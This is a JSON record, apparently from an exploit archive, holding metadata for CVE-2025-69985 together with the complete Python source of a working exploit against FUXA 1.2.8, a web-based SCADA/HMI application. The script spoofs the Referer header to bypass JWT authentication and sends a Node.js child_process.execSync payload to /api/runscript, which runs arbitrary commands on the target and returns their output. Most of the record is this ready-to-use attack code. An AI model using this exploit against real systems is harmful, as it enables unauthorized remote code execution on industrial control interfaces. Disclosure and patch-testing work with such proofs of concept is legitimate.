{"exploit":{"id":"EDB-52544","name":"FUXA 1.2.8 - Authentication Bypass / Remote Code Execution (RCE) Exploit","description":"FUXA 1.2.8 - Authentication Bypass / Remote Code Execution (RCE) Exploit","cves":["CVE-2025-69985"],"author":"joshua","published":"2026-04-30","platform":"multiple","type":"webapps","language":"Python","source":"exploit-db","sourceUrl":"https://www.exploit-db.com/exploits/52544","path":"exploits/multiple/webapps/52544.py","revision":"8a926a9b85beb3bccd6e8016211fdb73e904b52b","filename":"EDB-52544.py","vulnerabilities":[{"id":"CVE-2025-69985","state":"PUBLISHED","title":null,"titleSource":null,"description":"FUXA 1.2.8 and prior contains an Authentication Bypass vulnerability leading to Remote Code Execution (RCE). The vulnerability exists in the server/api/jwt-helper.js middleware, which improperly trusts the HTTP \"Referer\" header to validate internal requests. A remote unauthenticated attacker can bypass JWT authentication by spoofing the Referer header to match the server's host. Successful exploitation allows the attacker to access the protected /api/runscript endpoint and execute arbitrary Node.js code on the server.","descriptionSource":"CVE Program","descriptionUrl":"https://www.cve.org/CVERecord?id=CVE-2025-69985","cvss":{"version":"3.1","baseScore":9.8,"severity":"critical","vectorString":"CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:H/I:H/A:H","source":"CISA-ADP","sourceUrl":"https://www.cve.org/CVERecord?id=CVE-2025-69985"},"updatedAt":"2026-02-25T16:31:17.905Z","retrievedAt":"2026-11-25T16:15:50.586Z","stale":false,"error":null}],"imageUrl":"https://exploitbin.com/social/exploits/EDB-52544.png?v=2","url":"https://exploitbin.com/exploits/EDB-52544","downloadUrl":"https://exploitbin.com/api/v1/exploits/EDB-52544/download","codeUrl":"https://exploitbin.com/api/v1/exploits/EDB-52544/code","licenseUrl":"https://exploitbin.com/sources#exploit-db"},"code":"# Exploit Title: FUXA 1.2.8 - Authentication Bypass + RCE Exploit\n# Date: 2026-02-25\n# Exploit Author: Joshua van der Poll (https://github.com/joshuavanderpoll/)\n# Software Link: https://github.com/frangoteam/FUXA/tree/v1.2.8\n# Vendor Homepage: https://github.com/frangoteam/FUXA\n# Version: FUXA <= 1.2.8\n# Tested on: Debian GNU/Linux 12\n# CVE : CVE-2025-69985\n\n\"\"\"\nFUXA ≤ 1.2.8 Authentication Bypass + RCE Exploit\nCVE-2025-69985\n\nThis Python exploit targets CVE-2025-69985, an authentication bypass in FUXA\n(web-based SCADA/HMI software) that allows access to the protected /api/runscript\nendpoint even when authentication is enabled.\n\nBy sending a crafted JavaScript payload using child_process.execSync, it achieves\nfull remote command execution with complete stdout capture (no reverse shell needed).\n\nAuthor: Joshua van der Poll (https://github.com/joshuavanderpoll/CVE-2025-69985)\nCreated: February 2026\nVersion: 1.0\nLicense: GNU General Public License v3.0 (GPL-3.0)\nDisclaimer: Use responsibly. This is a proof-of-concept for a patched\n                 vulnerability (fixed in FUXA > 1.2.8). Do not use against\n                 systems you do not own or have explicit permission to test.\n\nUsage:\n    python3 exploit.py -u http://target:1881 -c \"whoami\"\n\"\"\"\n\nimport requests\nimport argparse\nimport sys\nimport urllib3\n\n# Disable SSL warnings\nurllib3.disable_warnings(urllib3.exceptions.InsecureRequestWarning)\n\n# Colors\nGREEN = '\\033[92m'\nYELLOW = '\\033[93m'\nRED = '\\033[91m'\nBLUE = '\\033[94m'\nCYAN = '\\033[96m'\nRESET = '\\033[0m'\n\ndef print_status(msg, color=BLUE, symbol=\"[*]\"):\n    print(f\"{color}{symbol} {msg}{RESET}\")\n\ndef print_success(msg):\n    print_status(msg, GREEN, \"[+]\")\n\ndef print_warning(msg):\n    print_status(msg, YELLOW, \"[!]\")\n\ndef print_error(msg, exc=None):\n    print_status(msg, RED, \"[-]\")\n    if exc:\n        print(f\" → {type(exc).__name__}: {exc}\")\n        import traceback\n        traceback.print_exc(limit=2)\n\ndef build_js_payload(command: str) -> str:\n    \"\"\"Build safe Node.js payload with proper escaping\"\"\"\n    escaped = (command\n               .replace('\\\\', '\\\\\\\\')\n               .replace('\"', '\\\\\"')\n               .replace('`', '\\\\`')\n               .replace('\\n', '\\\\n'))\n\n    js = f\"\"\"const cp = require(\"child_process\");\ntry {{\n    const result = cp.execSync(\"{escaped}\", {{ encoding: \"utf8\" }});\n    return result.toString();\n}} catch (err) {{\n    return \"ERROR: \" + err.message +\n           (err.stdout ? \"\\\\nSTDOUT: \" + err.stdout.toString() : \"\") +\n           (err.stderr ? \"\\\\nSTDERR: \" + err.stderr.toString() : \"\");\n}}\"\"\"\n    return js\n\ndef run_command(session, base_url, command):\n    print_status(f\"Preparing payload → executing: {command}\")\n\n    js_code = build_js_payload(command)\n    payload = {\n        \"params\": {\n            \"script\": {\n                \"parameters\": [],\n                \"mode\": \"\",\n                \"id\": \"exploit\",\n                \"name\": \"exploit\",\n                \"code\": js_code,\n                \"test\": js_code\n            },\n            \"toLogEvent\": False\n        }\n    }\n\n    headers = {\n        \"Content-Type\": \"application/json\",\n        \"Referer\": f\"{base_url}/fuxa\"\n    }\n\n    print_status(\"Sending exploit request to /api/runscript ...\")\n    try:\n        resp = session.post(\n            f\"{base_url}/api/runscript\",\n            json=payload,\n            headers=headers,\n            timeout=15,\n            verify=False\n        )\n\n        print_status(f\"Response status: {resp.status_code}\", CYAN)\n\n        if resp.status_code == 200:\n            output = resp.text.strip()\n            print_success(\"Command executed successfully (CVE-2025-69985 bypass)!\")\n            print(f\"\\n{GREEN}=== COMMAND OUTPUT ==={RESET}\")\n            print(output if output else \"(no output)\")\n            print(f\"{GREEN}======================{RESET}\\n\")\n            return True\n        else:\n            print_error(f\"Server returned {resp.status_code}\")\n            if resp.text.strip():\n                print(f\"Body preview: {resp.text[:500]}\")\n            return False\n\n    except requests.exceptions.Timeout:\n        print_warning(\"Request timed out (command may still have executed)\")\n        return False\n    except Exception as e:\n        print_error(\"Request failed\", e)\n        return False\n\ndef exploit_command(base_url, command):\n    session = requests.Session()\n    session.verify = False\n\n    # Execute command\n    success = run_command(session, base_url, command)\n\n    if success:\n        print(\"\\n\" + \"=\"*70)\n        print(f\" {GREEN}Exploit completed!.{RESET}\")\n        print(\"=\"*70 + \"\\n\")\n    else:\n        print_warning(\"Exploit may require checking target version / network\")\n\ndef main():\n    parser = argparse.ArgumentParser(\n        description=\"FUXA ≤ 1.2.8 Auth Bypass + RCE (CVE-2025-69985)\"\n    )\n    parser.add_argument('-u', '--url', required=True, help=\"Target URL (http(s)://host:port)\")\n    parser.add_argument('-c', '--cmd', required=True, help=\"Command to execute on target\")\n    args = parser.parse_args()\n\n    base_url = args.url.rstrip('/')\n\n    print(f\"\\n {BLUE}Target :{RESET} {base_url}\")\n    print(f\" {BLUE}Command:{RESET} {args.cmd}\\n\")\n\n    try:\n        exploit_command(\n            base_url=base_url,\n            command=args.cmd\n        )\n    except KeyboardInterrupt:\n        print_warning(\"Interrupted by user\")\n        sys.exit(2)\n    except Exception as e:\n        print_error(\"Unexpected fatal error\", e)\n        sys.exit(3)\n\nif __name__ == \"__main__\":\n    main()","sha256":"6101f3de46c514511617aa65a5ef9a4b265444a5f7b142c0bca283d48fcd60fc","bytes":5490,"fetchedAt":"2026-11-26T11:17:20.199Z","encoding":"utf-8 (display only; download retains original bytes)"}